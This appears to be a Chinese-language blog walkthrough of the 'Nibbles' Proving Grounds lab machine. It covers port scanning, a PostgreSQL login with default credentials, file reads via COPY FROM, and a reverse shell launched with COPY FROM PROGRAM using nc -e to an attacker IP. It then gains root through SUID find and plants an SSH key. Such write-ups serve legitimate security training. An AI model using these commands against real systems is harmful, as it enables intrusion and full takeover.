Proving Grounds Practice : Nibbles Walkthrough

 Proving Grounds Practice : Nibbles Walkthrough


Foothole (立足點 ) :

  • 5437 Port 發現 postgres database,使用 dbeaver 工具待遇設帳號密碼嘗試進入成功
  • 使用建立 Table 的方式列舉檔案,但沒有結果
  • 使用建立 Table 的方式塞入 command,使用 nc 建立 reverse shell 成功進入系統

PE ( 提權 ) :

  • SUID 發現 find 指令可以利用,利用後成功拿到 root

注意事項 :

  • Reverse Shell 測試連回來 80 & 445 才有通
  • 要完全 root 可以透過寫入 /root/.ssh/authorized_keys 的方式來登入


Rustscan,└─$ rustscan -a 192.168.181.47 --scripts none  --ulimit 5000 | tee rustscan



snmp filtered,└─$ sudo nmap -sU -p 161 192.168.181.47 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 21,22,80,5437 192.168.181.47 | tee nmap

21/tcp   open  ftp        vsftpd 3.0.3

22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

80/tcp   open  http       Apache httpd 2.4.38 ((Debian))

5437/tcp open  postgresql PostgreSQL DB 11.3 - 11.9



FTP 匿名登入失敗



FTP ftp:ftp 登入失敗



80 /



80 /robots.txt



80 /page2.html



gobuster,沒有發現有用的 URI



啟動 DB 連線工具 dbeaver



選擇 PostgreSQL



設定靶機資訊



測試連線成功,帳號密碼 postgres:postgres



啟動後執行 SQL Command "SELECT pg_ls_dir('/');" 如下圖看來可以透過

SQL Command 列舉目錄沒有問題

相關的命令參考 : https://medium.com/@netscylla/postgres-hacking-part-2-code-execution-687d24ad2082



接下來依據介紹的枚舉,建立一個 table 然後用來存放檔案資訊再列舉


CREATE TABLE temp(t TEXT);



COPY temp FROM '/etc/passwd';



SELECT * FROM temp limit 1 offset 0;

因為下 1 所以只有看到一個 root 帳號




將指令改成 30 試試看

SELECT * FROM temp limit 30 offset 0;

列出 29 行,所以 30 可以列舉出 /etc/passwd 所有欄位與帳號

獲得使用者帳號 wilson



FTP wilson:wilson、wilson:Wilson 登入失敗



ssh hydra 測試 wilson 相關密碼組合也是失敗



上面可以讀到 /etc/passwd 且已知使用者只有一個是 wilson

那就直接讀讀看 /home/wilson/local.txt 看看

依樣畫葫蘆

postgres-# CREATE TABLE temp2(t TEXT);
postgres-# COPY temp2 FROM '/home/wilson/local.txt';
postgres-# SELECT * FROM temp2 limit 30 offset 0;

直接讀到了



再來 temp3 去讀 /root/proof.txt 試試看

postgres-# CREATE TABLE temp3(t TEXT);
postgres-# COPY temp3 FROM '/root/proof.txt';
postgres-# SELECT * FROM temp3 limit 30 offset 0;

執行第二步驟時就顯示 Permission Deny 果然沒有這麼簡單,還是要先想辦法進去再 PE



如何執行命令參考 : https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767

接下來將 TABLE 塞入 cmd 然後執行看看

postgres-# CREATE TABLE temp4(cmd_output TEXT);
postgres-# COPY temp4 FROM PROGRAM 'nc -e /bin/bash 192.168.45.222 4444';

執行結果失敗



測試了一番後發現是 4444 Port 等其他 Port 都不通,改用 80 Port 之後通了

445 Port 也是通的




切換使用者 wilson 失敗



網站根目錄是 root 權限,現有使用者無權限寫入



cat /etc/crontab



find / -perm -u=s -type f 2>/dev/null



發現 find 有 SUID



照著 GTFO 執行成功拿到 Root



如果要拿到 system 都是 root 可以塞一把 authorized_keys 到 /root/.ssh 底下



ssh -i 進去就是完全的 root 了



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)